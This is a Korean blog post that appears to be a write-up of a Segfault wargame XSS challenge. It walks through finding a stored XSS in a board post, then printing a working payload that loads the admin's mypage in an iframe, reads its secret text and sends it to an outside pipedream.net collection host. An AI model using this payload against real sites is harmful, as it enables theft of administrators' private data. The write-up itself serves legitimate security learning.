목표 : 관리자의 마이페이지에 있는 중요정보를 탈취하라!
주어진 정보 : 관리자의 마이페이지.HTML (마이페이지는 이렇게 생겼다.)
<메인페이지>
일단 메인페이지로 들어와주었습니다.
차근차근 마이페이지부터 살펴보도록 하겠습니다.
<마이페이지>
<url 변수값으로 user = test 대신에 james 라고 입력>
흠.. URL 변수와 페이지에 출력되는 값은 무관해보이는것 같다.
미련없이 게시글 작성 페이지로 이동해주겠습니다.
제목 / 내용 : < " ' > / < " ' > | 응답 |
내용 부분에 특수문자 사용이 가능해 보인다.
그러면 스크립트 코드가 삽입 가능한지 체크해보겠습니다.
Burp Suite 로 POC 코드 삽입 | POC 코드 동작 |
내용부분에 <script>alert(1)</script> 삽입하자 동작을 하는것을 확인하였습니다.
즉 이부분은 Stored XSS 로 이용할 수 있다는 뜻입니다.
그러면 이걸로 어떻게 관리자 마이페이지에 있는 내용을 가지고 올까요?
리다이렉션을 하면 스크립트 코드가 동작을 하지 않을터이니 , 이 페이지 안에서 전부 해결해야합니다.
이럴때 쓰는것이 <iframe> 태그 입니다.
페이지 안에 또다른 페이지를 불러올수 있는 태그입니다.
<ifame 코드 작성>
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="target"></iframe>
<script>
var targetTag = document.getElementById('target'); //iframe 태그 가져오기
var dom= targetTag.contentDocument; //iframe 태그 안에 주소의 DOM 정보가져오기.
</script>
이렇게 코드를 넣어주자...
.
.
.
게시글 내용에 또다른 페이지를 띄우는것에 성공했습니다.
이제 이 게시글에서 저 페이지에 내용을 끄집어 올수있습니다.
그러면 저 페이지의 어느 부분을 가져와야 하는지 살펴보겠습니다.
<관리자의 마이페이지>
<관리자 마이페이지> | 빨간네모 내용 : <p class="card-text">This is a Very Secret Info.</p> |
우리가 가져와야할 부분의 HTML 코드값이 <p class="card-text">This is a Very Secret Info.</p> 라는것을 알았습니다.
그러면 JAVASCRIPT 로 class="card-text" 인 녀석을 찾아주면 되겠네요!
일단 마이페이지에서 "내 정보" 칸을 가져오는 코드는 document.getElementsByClassName('card-text')[1] 입니다.
이 점은 생각해서 게시글에 가서 코드를 수정해봅시다.
<게시글 페이지>
글을 수정해주었습니다.
↑
<삽입된 코드>
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="target"></iframe>
<script>
var targetTag = document.getElementById('target');
var dom=targetTag.contentDocument;
var data = dom.getElementsByClassName('card-text')[1].innerHTML;
console.log(data); //중간 확인용 console.log
var i =new Image();
i.src="https://encxlimxsq6z.x.pipedream.net"+data;
</script>
동작을 시켜봅시다..
??? 확인용으로 넣어준 console.log 코드가 작동을 안했습니다.
중간에 무슨 문제가 발생했다는 것입니다..
분명 문법상 틀린코드는 없는데 말이죠...
'
'
'
아! iframe 을 사용해서 다른 창을 띄우면 그 창이 띄워지는데 로딩시간이 있는데
그 로딩되는 시간보다 빠르게 dom 파일을 가져오려 하니 오류가 난것 같습니다.
즉! DOM 파일이 load 도 안됐는데 가져오려고 하니 오류가 난것입니다.
그러면 저 스크립트 코드가 발동되는 시점을 irame 태그가 전부 나오고 난 후로 맞춰서 코드를 다시 짜줍시다!
<수정된 코드>
↑
삽입된 코드
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="target"></iframe>
<script>
document.addEventListener('DOMContentLoaded',function(){
var targetTag = document.getElementById('target');
var dom=targetTag.contentDocument;
var data = dom.getElementsByClassName('card-text')[1].innerHTML;
console.log(data); //중간 확인용 console.log
var i =new Image();
i.src="https://encxlimxsq6z.x.pipedream.net?cookie="+data;
})
</script>
이제 다시 확인해보겠습니다.
중간확인 코드가 무사히 출력되는것을 확인했습니다!
이어서 쿠키값으로 개인정보 내용이 잘 왔는지도 확인해보겠습니다.
<쿠키값 확인>
쿠키값 또한 잘 도착하였네요!
그러면 이제 이 주소를 실제 관리자 마이페이지 주소로 바꿔서 진행을 해주겠습니다.
<irame 주소를 실제 관리자의 마이페이지로 설정>
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="target"></iframe>//바꾼부분
<script>
document.addEventListener('DOMContentLoaded',function(){
var targetTag = document.getElementById('target');
var dom=targetTag.contentDocument;
var data = dom.getElementsByClassName('card-text')[1].innerHTML;
console.log(data); //중간 확인용 console.log
var i =new Image();
i.src="https://encxlimxsq6z.x.pipedream.net?cookie="+data;
})
</script>
관리자의 컴퓨터로 마이페이지에 접속해줍니다.
관리자만이 관리자의 마이페이지로 들어갈 권한이 있기 때문입니다.
관리자의 마이페이지에서 flag 를 무사히 흭득하였습니다!
풀면서 느낀거지만 XSS 는 자바스크립팅 능력이 매우 중요하다는것을 알았습니다.
앞으로 자바스크립트 공부도 웹개발을 병행하면서 틈틈히 해야겠습니다...
긴 글 읽어주셔서 감사합니다!
'워게임 문제풀이 > Segfault' 카테고리의 다른 글
<Segfault> 워게임 문제풀이 [CSRF-Get admin 2] (0) | 2024.07.06 |
---|---|
<Segfault> 워게임 문제풀이 [CSRF-Get admin 1] (0) | 2024.07.06 |
<Segfault> 워게임 문제풀이 [XSS Challenge] (1) | 2024.07.02 |
<Segfault> 워게임 문제풀이 [XSS 5](feat.자기반성) (0) | 2024.07.01 |
<Segfault> 워게임 문제풀이 [XSS 4] (0) | 2024.07.01 |